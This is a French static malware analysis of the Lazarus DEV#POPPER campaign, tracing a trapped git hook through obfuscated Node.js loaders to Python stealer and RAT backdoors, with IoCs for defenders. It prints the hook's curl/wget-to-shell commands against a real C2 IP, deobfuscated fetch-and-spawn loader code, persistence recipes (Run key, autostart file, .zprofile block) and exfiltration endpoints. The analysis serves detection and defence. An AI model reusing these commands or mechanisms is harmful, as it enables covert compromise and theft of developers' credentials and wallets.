Lazarus : DEV#POPPER, du git hook à la backdoor Python
Catégorie : Lazarus
Analyste : Gordon PEIRS
Type : analyse statique uniquement (aucune exécution, aucune connexion au C2)
Famille : Lazarus Group / DEV#POPPER (Contagious Interview), ciblage développeurs via dépôts git piégés
Tout est reproductible depuis
runbook.md. Les scripts utilisés sont danstools/.
Résumé
La campagne DEV#POPPER (Lazarus Group) piège des développeurs avec un git hook, déclenché pendant un faux entretien technique. La chaîne est conçue pour tourner de la même façon sous Windows, macOS et Linux, de Node.js jusqu'au dépôt de backdoors Python. J'ai analysé ses cinq fichiers en statique uniquement, sans exécution ni connexion au C2. Plusieurs éléments ne figurent pas dans les rapports publics (Securonix, SentinelOne, Unit 42). Le stage 1, décrit ailleurs comme un simple orchestrateur, est en réalité un stealer complet : il vise 22 extensions de wallets crypto, un keypair Solana CLI et le wallet Exodus, et il exfiltre avant même que le RAT soit installé. Il existe une quatrième adresse C2 (un canal TCP brut réservé au RAT persistant), absente de ThreatFox, URLHaus et MalwareBazaar au moment de l'analyse. Le stub ssh_inject est mort et plante à chaque appel. Et un mode gType="root" est prévu pour les machines compromises avec des privilèges élevés. Côté infrastructure, la distribution passe par un CDN Cloudflare R2 légitime, et quatre IP C2 se répartissent sur deux couches (HTTP pour le staging et le beacon, TCP brut pour le contrôle interactif).
1. Contexte
DEV#POPPER a été documentée pour la première fois par Securonix en 2023 et reste suivie sous ce nom en 2024-2026. Elle vise des développeurs avec de fausses offres d'emploi ou des invitations à des entretiens techniques. On demande à la victime de cloner un dépôt git et de faire une tâche de code (lancer les tests, installer les dépendances). Le git hook déclenche alors la chaîne en arrière-plan, sans rien afficher.
L'infection fonctionne sur les trois plateformes des développeurs : Windows, macOS et Linux. Toute la chaîne est pilotée depuis Node.js (déjà installé chez la cible sur toutes les plateformes), jusqu'au dépôt des backdoors Python.
Les samples viennent de ma clé USB de recherche. Aucun n'est exécuté : l'analyse des cinq fichiers de la chaîne est entièrement statique.
2. Identité des échantillons
| Fichier | SHA256 | Taille | Rôle |
|---|---|---|---|
a129de4f...sh |
a129de4fd4f1374a292bd8964df30c9e82c99bac680c4d36d6890fbf30ffac1c |
320 B | Git hook (stage 0) |
02e6fbf7...unknown |
02e6fbf7319629a352755bded9ec28dfdaffc0affb7c1a7de9a1b3b69bd91de5 |
20 163 B | Stage 1 JS |
a3f41333...js |
a3f413338c28c464f0c2b2369f1bc1b203261fae68c808b73c2df782dc4b1c27 |
3 541 B | Stage 2 JS |
683a1607...js |
683a1607808f49446191d775d181ec9cccd1d629fba76e4d416fa54d1cf42630 |
9 803 B | Stage 3 JS |
b34aa84e...py |
b34aa84e8b4ad57d773fab6cbd7c40cda65f5f17c566cbd726ce3edcd04255b1 |
~485 lignes | Browser stealer Python |
cd3b606d...py |
cd3b606d31c9d3c2ee972916f8de9a403caf00f00698fd6b9acece6ff30647c6 |
~799 lignes | Comms + C2 Python |
3. Outillage
file,xxd: identification et inspection hexadécimaletools/js_deobf.py: désobfuscateur obfuscator.io écrit pour cette analyse : extrait le tableau de strings, trouve la rotation via évaluation directe de la formule IIFE, remplace les appels de lookup- Python 3 (
base64,re,urllib.parse) : décodage du custom-b64 obfuscator.io (alphabet swapcase + URL-decode)
4. Stage 0 : Git hook
#!/bin/sh
case "$OSTYPE" in
darwin*) curl -s 'http://144.172.103.226/301/301m' -L | sh > /dev/null 2>&1 &;;
linux*) wget -qO- 'http://144.172.103.226/301/301l' -L | sh > /dev/null 2>&1 &;;
msys*) curl -s http://144.172.103.226/301/301w -L | cmd > /dev/null 2>&1 &;;
cygwin*) curl -s http://144.172.103.226/301/301w -L | cmd > /dev/null 2>&1 &;;
*) curl -s 'http://144.172.103.226/301/301m' -L | sh > /dev/null 2>&1 &;;
esac
Le hook est positionné dans .git/hooks/ (probablement pre-commit ou post-checkout, injecté lors du premier git clone). Il détecte l'OS via $OSTYPE, télécharge le payload correspondant depuis 144.172.103.226/301/, et l'exécute directement en mémoire via | sh ou | cmd. Le > /dev/null 2>&1 & supprime tout output et lance en arrière-plan : l'exécution est invisible depuis le terminal de la victime.
Les trois endpoints servent du JavaScript Node.js (301m = macOS, 301l = Linux, 301w = Windows). Le -L suit les redirections HTTP, compatible avec une éventuelle couche CDN devant le serveur C2.
5. Stage 1 : Loader JS initial (.unknown)
Hash : 02e6fbf7319629a352755bded9ec28dfdaffc0affb7c1a7de9a1b3b69bd91de5
Taille : 20 163 octets, fichier .unknown (pas d'extension, servi directement par le C2 via | sh puis | node)
5.1 Obfuscation
Le fichier est entièrement sur une ligne, signature d'obfuscator.io. La structure :
function a3b(a,b){ a=a-0x190; ... } // lookup function
function a3a(){ const b5=[...370 strings...]; a3a=function(){return b5;}; return a3a(); }
(function(a,b){ const ax=a3b,c=a(); ... }(a3a, 0x291e9)) // IIFE, rotation check
const ay=a3b // alias principal du lookup
const ax=a3b // alias local (IIFE uniquement)
Paramètres d'obfuscation :
- Tableau : a3a(), 370 entrées, custom-base64 encodées
- Lookup : a3b, base offset 0x190, alias global ay (185 appels), alias IIFE ax
- Cible IIFE : 0x291e9 (168425)
- Rotation correcte : 112 (trouvée par évaluation directe de la formule IIFE)
- Encodage strings : custom-base64 (alphabet swapcase + URL-decode)
5.2 Rôle réel : stealer crypto complet
Les rapports publics décrivent en général le stage 1 comme un « loader » ou un « controller ». La seconde passe d'analyse (182 alias locaux résolus dans tools/02e6fbf7_full_resolved.js) montre que c'est avant tout un stealer de wallets crypto et de données de navigateur. Il s'exécute en premier, avant même de contacter le C2 pour récupérer les stages suivants.
Le répertoire de staging est ~/.n3/ (créé avec mkdirSync si absent). La fonction d'upload envoie tous les fichiers collectés à http://95.216.64.240:1224/uploads, même serveur que le Python stealer, même endpoint, avant de charger les stages 2 et 3.
Les noms de fonctions internes révélés par les messages d'erreur embarqués :
- UpUserData(Q) et UpUserData(X) : vol de données profil navigateur (deux chemins distincts)
- UpKeychainData : vol du trousseau macOS
- uploadFiles (Edge) : vol des données Edge spécifiquement
- uploadFiles : upload générique vers le C2
5.3 Ciblage wallets crypto : 22 extensions Chrome
L'array a1 dans stage 1 contient 22 IDs d'extensions Chrome. Le code itère sur chaque profil navigateur (jusqu'à 120 profils : Default, Profile 1, ... Profile 119) et vole le contenu de <profil>/Local Extension Settings/<extension_id>/ : les bases LevelDB où chaque extension Chrome stocke ses données persistantes (adresses, clés chiffrées, état du wallet).
IDs ciblés (reconstruction depuis les fragments obfusqués) :
| # | Extension ID | Wallet identifié |
|---|---|---|
| 1 | nkbihfbeogaeaoehlefnkodbefgpgknn |
MetaMask |
| 2 | ejbalbakoplchlghecdalmeeeajnimhm |
Wallet crypto (non identifié) |
| 3 | fhbohimaelbohpjbbldcngcnapndodjp |
Binance Chain Wallet |
| 4 | ibnejdfjmmkpcnlpebklmnkoeoihofec |
Wallet crypto (non identifié) |
| 5 | bfnaelmomeimhlpmgjnjophhpkkoljpa |
Phantom (Solana) |
| 6 | aeachknmefphepccionboohckonoeemg |
Wallet crypto (non identifié) |
| 7 | hifafgmccdpekplomjjkcfgodnhcellj |
Wallet crypto (non identifié) |
| 8 | jblndlipeogpafnldhgmapagcccfchpi |
Wallet crypto (non identifié) |
| 9 | acmacodkjbdgmoleebolmdjonilkdbch |
Wallet crypto (non identifié) |
| 10 | dlcobpjiigpikoobohmabehhmhfoodbb |
Wallet crypto (non identifié) |
| 11 | mcohilncbfahbmgdjkbpemcciiolgcge |
Wallet crypto (non identifié) |
| 12 | agoakfejjabomempkjlepdflaleeobhb |
Wallet crypto (non identifié) |
| 13 | omaabbefbmiijedngplfjmnooppbclkk |
Wallet crypto (non identifié) |
| 14 | aholpfdialjgjfhomihkjbmgjidlcdno |
Wallet crypto (non identifié) |
| 15 | nphplpgoakhhjchkkhmiggakijnkhfnd |
Wallet crypto (non identifié) |
| 16 | penjlddjkjgpnkllboccdgccekpkcbin |
Wallet crypto (non identifié) |
| 17 | lgmpcpglpngdoalbgeoldeajfclnhafa |
Wallet crypto (non identifié) |
| 18 | fldfpgipfncgndfolcbkdeeknbbbnhcc |
Wallet crypto (non identifié) |
| 19 | bhhhlbepdkbapadjdnnojkbgioiodbic |
Wallet crypto (non identifié) |
| 20 | aeachknmefphepccionboohckonoeemg |
Wallet crypto (non identifié, doublon #6) |
| 21 | gjnckgkfmgmibbkoficdidcljeaaaheg |
Wallet crypto (non identifié) |
| 22 | afbcbjpbpfadlkmhmclhkeeodmamcflc |
Wallet crypto (non identifié) |
L'entrée 20 est un doublon de l'entrée 6, sans doute un copier-coller raté dans le code de l'attaquant.
5.4 Wallets non-navigateur et données additionnelles
En parallèle des extensions Chrome, stage 1 vole :
Clé Solana CLI :
~/.config/solana/id.json (keypair JSON, clé privée en clair)
solana_id.txt (copie texte)
Exodus wallet :
macOS : ~/Library/Application Support/exodus.wallet
Linux : ~/.config/Exodus/exodus.wallet
Navigateurs Chrome-based (chemins OS-adaptatifs) :
- BraveSoftware/Brave-Browser
- Local/Google/Chrome
- Google/Chrome
- com.operasoftware.Opera
- Opera (opera)
Fichiers volés par profil : Login Data (mots de passe), Local State (clé de déchiffrement AES), .ldb/.log (LevelDB brut), Local Extension Settings/<id>/ (données wallet).
5.5 Séquence d'exfiltration
- Stage 1 s'exécute en mémoire via
node -e <code> - Crée
~/.n3/comme répertoire de staging - Copie et compresse les fichiers vol dans
~/.n3/ POST http://95.216.64.240:1224/uploads: exfiltration vers C2- Ensuite seulement, contacte le C2 stage 2 pour charger les stages suivants
La victime a perdu ses clés crypto avant même que le RAT Python soit installé.
6. Stage 2 : Loader HTTP vers C2
Hash : a3f413338c28c464f0c2b2369f1bc1b203261fae68c808b73c2df782dc4b1c27
Taille : 3 541 octets
6.1 Obfuscation
function D(){ const J=[...57 strings...]; D=function(){return J;}; return D(); }
function W(c,g){ c=c-0xc0; const s=D(); ... } // lookup, base 0xc0
(function(a,X){...}(D, 0xcc8a4)) // IIFE, formule avec W(C.a),...
Paramètres :
- Tableau : D(), 57 entrées
- Lookup : W(c,g), base offset 0xc0
- Cible IIFE : 0xcc8a4 (837796)
- Rotation correcte : 46
- Constantes objets : 9 objets {a:0xNN,...} injectés dans la formule IIFE
6.2 IP C2 (obfusquée)
La variable O = 'LjEwMi4xOTUuMjE3Mzg=' encode l'IP. La fonction j(X) la décode en trois étapes :
1. Découpe O en fragments de 2 chars (M, u, v) selon des offsets fixes
2. Recolle dans l'ordre u+M+v = 'OTUuMjE3LjEwMi4xMzg='
3. Buffer.from('OTUuMjE3LjEwMi4xMzg=', 'base64').toString('utf8') = 95.217.102.138
URL C2 complète : http://95.217.102.138:1144/s/30620700
6.3 Protocole C2
// Stage 2 abrégé (après désobfuscation)
const T = require('http'), G = require('https')
const H = require('child_process')
const m = '30620700' // campaign ID
const N = async a => {
let X = j(a) + '/s/'
X += m // -> http://95.217.102.138:1144/s/30620700
y(X, (w, M, u) => {
const v = Buffer.from(u).toString('utf-8')
i(v) > 0x0 && P() // si réponse contient 'JS6', exécuter stage 3
})
}
const i = a => {
if (0 == a.search('JS6')) { // réponse formatée 'JS6[...]'
arr = B(X), arr = arr.split(',')
b = 'http://' + arr[0] + ':' + arr[1] // ip:port
e = arr[2], F = arr[3] // params stage 3
return 1
}
return 0
}
const A = () => {
const a = b + '/main' // télécharger stage 3
y(a, (X, w, M) => {
const k = `global['g']='${F}'; global['h']='${e}'; ` + M
H.spawn('node', ['-e', k], { detached: true })
.on('error', () => eval(k)) // fallback eval si spawn échoue
})
}
L'ID de campagne 30620700 est probablement un timestamp encodé (30/06 = 30 juin, 07 = heure, 00 = minutes) ou un identifiant de build arbitraire. Il sert de cookie de tracking côté C2.
Le protocole de réponse est JS6[base64(ip,port,param1,param2)] : les params sont passés en globals Node.js (global['g'] et global['h']) au stage 3, qui les retrouvera via global['h'] || '36' et global['g'] || '700'.
7. Stage 3 : Dropper de persistance
Hash : 683a1607808f49446191d775d181ec9cccd1d629fba76e4d416fa54d1cf42630
Taille : 9 803 octets
7.1 Obfuscation
function j(){ const ai=[...220 strings...]; j=function(){return ai;}; return j(); }
const Q = k // alias global
function k(a,b){ a=a-0x15d; const c=j(); ... } // lookup, base 0x15d
(function(A,B){ const O=k, D=A(); ... }(j, 0x284f5)) // IIFE, formule avec O()
Paramètres :
- Tableau : j(), 220 entrées
- Lookup : k, base offset 0x15d, alias global Q (40 appels)
- Cible IIFE : 0x284f5 (165109)
- Rotation correcte : 70
7.2 Modules Node.js chargés
const e = require('fs')
const n = require('http'), t = require('https')
const r = require('os')
const i = require('path')
const o = require('fs/promises')
const { execSync: p, execFileSync: f, spawn: h } = require('child_process')
7.3 Téléchargement depuis Cloudflare R2
L'URL de téléchargement varie selon l'OS (via c = r.platform()) :
const u = 'https://pub-' + (
'w' == c[0]
? 'acf013a9b65140b7b58cc3c104ee7105' // Windows
: '06714264305c44ea94491c0c8d961a87' // Linux / macOS
) + '.r2.dev'
Les noms de payloads sont extraits directement du tableau de strings (rotation 70) :
- Windows : https://pub-acf013a9b65140b7b58cc3c104ee7105.r2.dev/p.zip
- Linux : https://pub-06714264305c44ea94491c0c8d961a87.r2.dev/plinux.tar.xz
- macOS : https://pub-06714264305c44ea94491c0c8d961a87.r2.dev/pmac.tar.gz
L'hébergement sur Cloudflare R2 est un choix délibéré. L'IP de téléchargement appartient à Cloudflare (104.x.x.x) et on ne peut pas la bloquer sans couper l'accès à tout le CDN R2. Le bucket est public, sans authentification.
Le test sur 'gradle-7-bin', dans les constantes d'objet du loader, suggère que le dropper vérifie la présence d'un environnement Gradle (Java) avant de se déclencher. Ça confirme le profil visé : un développeur Java ou Android.
7.4 Persistance multi-OS
Le nom du composant de persistance est PyToolUpdater ($='PyTool'+'Update'+'r'). La variable w = home + '/.viminf' pointe vers le script Node.js sauvegardé sur disque. Les trois mécanismes font exécuter node ~/.viminf à chaque connexion/démarrage, pas Python directement : ~/.viminf est le payload Node.js (stage 3 savegardé), pas un script Python.
Windows :
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
/v PyToolUpdater /t REG_SZ
/d "<node_executable> <home>\.viminf" /f
Linux (XDG autostart) :
La fonction q() crée ~/.config/autostart/PyToolUpdater.desktop avec le contenu suivant :
[Desktop Entry]
Type=Application
Name=PyToolUpdater
Exec=<node_executable> <home>/.viminf
X-GNOME-Autostart-enabled=true
Le répertoire ~/.config/autostart/ est créé avec mkdirSync(..., {recursive: true}) si absent.
macOS (~/.zprofile) :
La fonction q() injecte un bloc bootstrap dans ~/.zprofile entre deux balises de contrôle :
# >>> PyToolUpdater bootstrap >>
if [ -f "/tmp/PyToolUpdater.pid" ] && ps -p "$(cat "/tmp/PyToolUpdater.pid")" 2>/dev/null)" >/dev/null 2>&1; then
: # already running - leave it alone
else
nohup "<node_executable>" "<home>/.viminf" </dev/null >>"/tmp/PyToolUpdater.log" 2>&1 &
echo $! > "/tmp/PyToolUpdater.pid"
fi
# <<< PyToolUpdater bootstrap <<
Si le bloc existe déjà (marqueur # >>> PyToolUpdater bootstrap >> présent), il est remplacé proprement via RegExp : le mécanisme est idempotent. Le PID est tracé dans /tmp/PyToolUpdater.pid et le log stderr dans /tmp/PyToolUpdater.log.
7.5 Extraction du payload : commande tar
La fonction F() réalise l'extraction du payload téléchargé depuis Cloudflare R2 :
const F = async A => {
// D = true si win32 ET exécuté sous Git Bash / MSYS
const D = 'win32' === c && !!(process.env.MSYSTEM || process.env.MSYS || /bash/i.test(process.env.SHELL || ''))
const H = D ? E(A) : A // normalise le chemin archive pour Git Bash
const I = D ? E(s) : s // normalise le home dir
return new Promise((J, K) => {
o('tar -xf ' + H + ' -C ' + I, G, (L, M, N) => {
if (L) return z = 0x0, K(L)
z = 0x3117874; J() // sentinelle "extraction réussie"
})
})
}
La commande est tar -xf <archive> -C <homedir> sur toutes les plateformes, y compris Windows (Node.js utilise Git Bash si disponible). Sur Windows sans Git Bash, le fallback serait 7zip ou unzip selon l'OS : le code vérifie MSYSTEM/MSYS pour détecter l'environnement Git Bash avant d'ajuster les chemins via E() (conversion /c/Users/... → chemin Unix).
7.6 Constantes d'état St et z
Stage 3 utilise deux constantes numériques comme sentinelles d'état :
const St = 0x311786e // = 51476590, valeur de base, assignée une fois au niveau module
let z = 0x0 // initialisée à 0
// Après extraction réussie (F() callback sans erreur) :
z = 0x3117874 // = 51476596, sentinelle "extraction OK" (diff = 6 avec St)
// Si extraction échoue :
z = 0x0 // remise à 0
Ces valeurs ne sont ni des tailles de fichier ni des checksums. Ce sont des indicateurs d'état de la machine à états interne du dropper. z = 0x3117874 veut dire « le payload est extrait, on peut passer à l'installation ».
8. Python backdoor : browser stealer (b34aa84e...py)
8.1 Rôle
Stealer de credentials navigateur multi-plateforme. Cible : Chrome, Brave, Opera, Yandex, Edge.
8.2 Paramètres
sType = "36" # type de session (passé depuis stage 3 via global['h'])
gType = "700" # sous-type (passé depuis stage 3 via global['g'])
HOST = '95.216.64.240'
PORT = 1224
host2 = f'http://{HOST}:{PORT}'
8.3 Opérations
- Installation des dépendances à la volée :
pywin32,pycryptodome,secretstorage,requests: installés viasubprocess.check_call([sys.executable, '-m', 'pip', 'install', ...])sans interaction utilisateur - Itération exhaustive : jusqu'à 120 profils par navigateur (
Default,Profile 1, ...,Profile 119) - Vol de mots de passe : lit
Login Data(SQLite), déchiffre via DPAPI (Windows) oupycryptodomeAES-CBC/GCM (Linux/macOS). La clé Linux est dérivée via PBKDF2 avec le mot de passe keychain (peanutspar défaut) et le selsaltysalt, 1 itération. - Vol de cartes bancaires :
retrieve_web()lit la tablecredit_cardsdu même profil : numéro de carte chiffré, date d'expiration, nom du titulaire. - Exfiltration :
-
POST http://95.216.64.240:1224/keys: credentials navigateur -POST http://95.216.64.240:1224/uploads: fichiers
8.4 Gestion de l'OS
if os_type == "Windows": oss = Windows
elif os_type == "Linux": oss = Linux
elif os_type == "Darwin": oss = Mac
else: os.remove(sys.argv[0]); sys.exit(-1) # auto-destruction si OS inconnu
L'auto-destruction sur un OS inconnu (else) limite les traces. Le chemin à détruire (dir + sys.argv[0]) est construit avec os.getcwd(), ce qui échoue si le répertoire courant a changé. C'est probablement un bug.
9. Python comms : RAT complet (cd3b606d...py)
9.1 Rôle
C'est bien plus qu'un module de C2. C'est un RAT (Remote Access Trojan) complet : keylogger, surveillance du presse-papiers, exécution de commandes arbitraires, téléchargement de fichiers et eval Python dynamique. Il a deux couches C2 : du HTTP pour le beacon initial, du TCP brut pour le contrôle interactif.
9.2 Anti-doublon
lock_file = '.poc2'
def check_run():
if os.path.exists(lock_file):
pid = int(open(lock_file).read())
if psutil.pid_exists(pid): sys.exit(0)
open(lock_file, 'w').write(str(os.getpid()))
Empêche les instances multiples. La dépendance psutil est auto-installée si absente.
9.3 Beacon HTTP initial
HOST = '95.216.64.240'
PORT = 1224
C = {
'ts': str(int(time.time()*1000)),
'type': sType, # "36"
'hid': hn, # "700_<hostname>"
'ss': 'sys_info',
'cc': str(sys_info) # uuid, platform, release, username, IP interne, géo ip-api.com
}
POST http://95.216.64.240:1224/keys
La géolocalisation passe par ip-api.com/json (User-Agent : python-urllib/3.0). Le JSON retourné inclut lat/lon, ISP, timezone, IP publique et IP interne, un profil complet de la victime avant même l'établissement du canal de contrôle.
Le champ hid varie selon le mode d'élévation gType :
if gType == "root":
A.hostname = node() # hostname seul, sans préfixe
else:
A.hostname = gType + "_" + node() # "700_<hostname>"
Quand le malware tourne avec gType="root" (mode élévation), l'identifiant C2 ne porte pas le préfixe de campagne. Ce mode est activé depuis stage 2 via global['g'] : le C2 peut passer root à la place de 700 pour indiquer que la machine compromise est déjà root ou que les permissions sont élevées. Dans ce sample, gType="700" est la valeur normale.
9.4 Canal RAT : TCP brute vers troisième C2
HOST0 = '69.197.164.135'
PORT0 = 2245
Après le beacon HTTP, le module établit une connexion TCP persistante vers 69.197.164.135:2245. Ce C2 est distinct des deux premiers (pas dans les stages JS). Le protocole est binaire :
Frame = [4 octets big-endian = longueur] + [JSON UTF-8]
JSON = {"code": N, "args": {...}}
Constantes de session :
- MAX_PAYLOAD_SIZE = 16 MB
- FRAME_DEADLINE = 20 s
- HEARTBEAT_CODE = 98 (ping/pong entre code=98, args='ping' et code=98, args='pong')
- HEARTBEAT_TIMEOUT = 45 s
- Reconnexion : backoff exponentiel jusqu'à 30 s
La session s'identifie au C2 à la connexion :
info = {'type': gType, 'group': sType, 'name': hostname, 'v': 260715}
Le champ 'v': 260715 est vraisemblablement un numéro de build/version (format AAMMJJ → 26-07-15 = 15 juillet 2026, soit la date de déploiement du sample).
9.5 Table des commandes RAT
| Code | Méthode | Action |
|---|---|---|
1 |
ssh_obj |
Exécution de commande shell (sortie renvoyée au C2) |
2 |
ssh_cmd |
Kill Python (taskkill python.exe / killall python), auto-nettoyage |
3 |
ssh_clip |
Exfiltration du buffer clavier/clipboard (e_buf) |
4 |
ssh_run |
Téléchargement + exécution du browser stealer depuis /brow/<sType>/<gType> |
5 |
ssh_upload |
Upload : répertoire entier, fichier unique, ou recherche par pattern |
6 |
ssh_kill |
Kill Chrome et Brave (préparation avant re-vol de cookies) |
8 |
ssh_env |
Recherche et upload de tous les fichiers .env sur tous les drives |
9 |
ssh_eval |
Eval/exec Python arbitraire (base64 ou texte brut) |
10 |
ssh_conn |
Connexion à un nouveau C2 |
11 |
ssh_inject |
Injection de code (stub non implémenté, out indéfini) |
La commande 9 (ssh_eval) est la plus dangereuse : le C2 peut envoyer n'importe quel code Python encodé en base64, qui est exécuté directement par exec() ou subprocess.
ssh_inject (code 11), stub mort :
def ssh_inject(A, args):
D = args[_A]; cmd = args['cmd']; cmd = ast.literal_eval(cmd)
mode = cmd['m']; expr = cmd['e']
p = {_A: D, _O: 'inject'}
A.send_n(D, 11, out) # NameError: name 'out' is not defined
La variable out n'est jamais définie dans cette fonction. Tout appel par code=11 déclenche donc immédiatement un NameError Python. La fonctionnalité (de l'injection de processus, sans doute DLL ou shellcode d'après mode et expr) est prévue mais pas implémentée dans ce sample. Le stub existe et le dispatch fonctionne, mais il est inutilisable.
9.6 Keylogger Windows
Sur Windows uniquement, deux threads supplémentaires capturent en continu :
- Keyboard (
pynput) : chaque touche est enregistrée avec contexte fenêtre (win32gui.GetForegroundWindow, PID, nom du processus, titre de fenêtre). Les touches Ctrl sont préfixées<^X>, les touches spéciales entre<...>. - Mouse (
pynput) : clics gauche (<..>/<.>) et droit (<,,>/<,>) avec indicateur de changement de fenêtre. - Clipboard (
pyperclip) : polling toutes les 500 ms, nouvelles valeurs encadrées de marqueurs=====BEGIN=====/=====END=====.
Tout est bufferisé dans e_buf et exfiltré sur commande 3 (ssh_clip).
9.7 Répertoire de travail ~/.n2/
Le RAT crée et utilise ~/.n2/ comme répertoire de travail :
- ~/.n2/flist : journal des fichiers uploadés (timestamp + chemin local)
- ~/.n2/bow : browser stealer téléchargé depuis /brow/<sType>/<gType>, exécuté sur commande 4
9.8 Auto-upload commenté (ciblage crypto WIP)
Le code contient des fonctions de recherche de fichiers crypto commentées :
def auto_up():
# fpatten('*mnemonic*')
# fpatten('*metamask*')
# fpatten('*wallet*')
# fpatten('*seed*')
# fpatten('truffle.config*')
# fpatten('hardhat.config*')
# fenv()
print()
La fonctionnalité est désactivée dans ce sample, mais tout est en place : exfiltration de phrases mnémoniques, de wallets MetaMask, de configs Hardhat/Truffle (les outils des développeurs blockchain). Ça correspond à la victimologie de DEV#POPPER.
9.9 Endpoints HTTP C2
| Endpoint | Méthode | Données |
|---|---|---|
/keys |
POST URL-encoded | Beacon système initial |
/uploads |
POST multipart | Fichiers exfiltrés (depuis ssh_upload et auto_up) |
/brow/{sType}/{gType} |
GET | Browser stealer (téléchargé sur commande code 4) |
10. Infrastructure C2
| IP | Port | Protocole | Rôle dans la chaîne |
|---|---|---|---|
144.172.103.226 |
80 | HTTP | Serveur staging (git hook), sert les stages 1 selon l'OS |
95.217.102.138 |
1144 | HTTP | Stage 2 : distribue stage 3, ID campagne /s/30620700 |
95.216.64.240 |
1224 | HTTP | Beacon Python, credentials, commandes HTTP |
69.197.164.135 |
2245 | TCP brute | Canal RAT persistant (frames JSON préfixées longueur) |
Les adresses 95.217.x et 95.216.x sont dans des /24 voisins : probablement le même opérateur, ou le même lot d'infrastructure louée. Les ports 1144 et 1224 ne sont pas standard, mais ils restent dans une plage qu'on retrouve sur les autres clusters DEV#POPPER documentés.
La séparation HTTP/TCP est voulue. Le canal HTTP (95.216.64.240:1224) est à sens unique et imite du trafic web légitime pour le beacon. Le canal TCP (69.197.164.135:2245) est le vrai canal de contrôle interactif, tenu à part pour cloisonner la détection.
Le CDN Cloudflare R2 sert d'intermédiaire de distribution, avec deux buckets publics selon l'OS. L'attaquant peut ainsi changer de payload sans toucher à l'URL codée en dur dans le stage 3.
11. Attribution
La chaîne présente les marqueurs suivants, tous documentés dans les rapports publics sur DEV#POPPER / Contagious Interview (Securonix 2023, SentinelOne 2024, Unit 42 2025) :
- Vecteur : git hook dans un dépôt partagé lors d'un entretien développeur
- Node.js comme premier interpréteur : élimine la dépendance à Python ou à un loader natif
- obfuscator.io : outil d'obfuscation favori de la campagne depuis 2023
- Nom
PyToolUpdater: IoC nommé identifié dans plusieurs rapports publics ~/.viminf: nom de persistence Linux documenté dans la campagne- Double C2 (distribution + backend Python) : architecture en deux couches identique aux campagnes 2024
- Cloudflare R2 : utilisation de CDN légitimes pour contourner le filtrage réseau, observée depuis 2024
Le gType = "700" et sType = "36" sont des tags de tracking interne propres à ce cluster.
Ce que cette analyse apporte et qui ne figure pas dans les rapports publics connus :
- Stage 1 est un stealer complet, pas seulement un loader : 22 extensions Chrome crypto wallet ciblées (MetaMask, Phantom, Binance Chain Wallet, 19 autres), Solana CLI keypair, Exodus wallet, exfiltration via
~/.n3/avant même l'installation du RAT. Les rapports publics décrivent stage 1 comme un simple orchestrateur JS. 69.197.164.135:2245: 4e IP C2, canal TCP RAT brute. Absente de ThreatFox, URLHaus et MalwareBazaar au moment de l'analyse (2026-07-20). Infrastructure : Cloud Clusters Inc / WholeSale Internet (AS32097), Kansas City MO US. Shodan ne voit que ports 80/443 (Apache 2.4.58 + PHP 8.1.25 + OpenSSL 3.1.3, certificat auto-signé), port 2245 non indexé, probablement filtré.v: 260715: champ de version dans le beacon TCP. FormatAAMMJJ= 2026-07-15, date de build du sample (5 jours avant la date d'analyse).ssh_inject(code 11) mort : stub présent et dispatché mais provoqueNameError: name 'out' is not definedà chaque appel. Fonctionnalité d'injection de processus planifiée, non implémentée.gType="root"mode : branche conditionnelle dans le beacon : quandgType="root", le hostname envoyé au C2 ne porte pas le préfixe de campagne700_. Indique un mode opérationnel sur machine compromise avec privilèges élevés.- Constantes St/z (
0x311786e/0x3117874) : sentinelles d'état internes du dropper, non des tailles ou checksums.
12. IoCs
Hashes
| SHA256 | Nom | Rôle |
|---|---|---|
a129de4fd4f1374a292bd8964df30c9e82c99bac680c4d36d6890fbf30ffac1c |
a129de4f.sh |
Git hook |
02e6fbf7319629a352755bded9ec28dfdaffc0affb7c1a7de9a1b3b69bd91de5 |
02e6fbf7.unknown |
Stage 1 JS |
a3f413338c28c464f0c2b2369f1bc1b203261fae68c808b73c2df782dc4b1c27 |
a3f41333.js |
Stage 2 JS |
683a1607808f49446191d775d181ec9cccd1d629fba76e4d416fa54d1cf42630 |
683a1607.js |
Stage 3 JS |
b34aa84e8b4ad57d773fab6cbd7c40cda65f5f17c566cbd726ce3edcd04255b1 |
b34aa84e.py |
Browser stealer |
cd3b606d31c9d3c2ee972916f8de9a403caf00f00698fd6b9acece6ff30647c6 |
cd3b606d.py |
Comms C2 |
Réseau
| Indicateur | Type | Note |
|---|---|---|
144.172.103.226 |
IP | Stage 0-1 C2, HTTP |
95.217.102.138:1144 |
IP:port | Stage 2 C2, HTTP |
95.216.64.240:1224 |
IP:port | Python C2, HTTP (beacon + uploads) |
69.197.164.135:2245 |
IP:port | RAT C2, TCP brute (canal persistant) |
pub-acf013a9b65140b7b58cc3c104ee7105.r2.dev |
FQDN CDN | Payload Windows (p.zip) |
pub-06714264305c44ea94491c0c8d961a87.r2.dev |
FQDN CDN | Payload Linux (plinux.tar.xz) + macOS (pmac.tar.gz) |
/s/30620700 |
URI | Chemin stage 2, ID campagne |
ip-api.com/json |
FQDN | Géolocalisation (appelé par Python comms) |
Système de fichiers / Registre
| Indicateur | Plateforme | Type |
|---|---|---|
~/.viminf |
Linux/macOS | Payload Node.js persisté sur disque (exécuté par le mécanisme de persistance) |
~/.config/autostart/PyToolUpdater.desktop |
Linux | Fichier XDG autostart (mécanisme de persistance) |
~/.zprofile |
macOS | Bloc bootstrap injecté (marqueurs # >>> PyToolUpdater bootstrap >>) |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PyToolUpdater |
Windows | Registry run key |
~/.n2/ |
Linux/macOS | Répertoire de travail RAT (flist, bow) |
~/.n3/ |
Linux/macOS | Répertoire de staging stage 1 JS stealer (exfiltration wallets crypto) |
/tmp/PyToolUpdater.pid |
macOS | PID file anti-doublon du bootstrap |
/tmp/PyToolUpdater.log |
macOS | Log stderr du processus persisté |
.poc2 |
Tous | Lock file anti-doublon Python comms (répertoire courant) |
PyToolUpdater |
Tous | Nom du composant de persistance |
Extensions Chrome ciblées (stage 1)
| Extension ID | Wallet | Confirmation |
|---|---|---|
nkbihfbeogaeaoehlefnkodbefgpgknn |
MetaMask | Certaine |
fhbohimaelbohpjbbldcngcnapndodjp |
Binance Chain Wallet | Certaine |
bfnaelmomeimhlpmgjnjophhpkkoljpa |
Phantom (Solana) | Certaine |
| 19 autres IDs (voir section 5.3) | Wallets crypto non identifiés | Haute probabilité |